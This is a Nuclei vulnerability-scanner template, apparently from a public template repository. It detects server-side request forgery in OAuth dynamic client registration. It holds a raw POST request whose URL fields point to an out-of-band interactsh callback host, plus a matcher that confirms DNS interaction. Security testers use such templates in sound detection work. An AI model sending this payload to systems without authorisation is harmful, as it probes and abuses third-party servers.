nuclei-templates/misconfiguration/ssrf-via-oauth-misconfig.yaml

34 lines
1.0 KiB
YAML

id: ssrf-via-oauth-misconfig
info:
name: SSRF due to misconfiguration in OAuth
author: KabirSuda
severity: medium
description: Sends a POST request with the endpoint "/connect/register" to check external Interaction with multiple POST parameters.
reference:
- https://portswigger.net/research/hidden-oauth-attack-vectors
tags: misconfig,oast,oauth,ssrf
requests:
- raw:
- |
POST /connect/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
{
"application_type": "web",
"redirect_uris": ["https://{{interactsh-url}}/callback"],
"client_name": "{{Hostname}}",
"logo_uri": "https://{{interactsh-url}}/favicon.ico",
"subject_type": "pairwise",
"token_endpoint_auth_method": "client_secret_basic",
"request_uris": ["https://{{interactsh-url}}"]
}
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"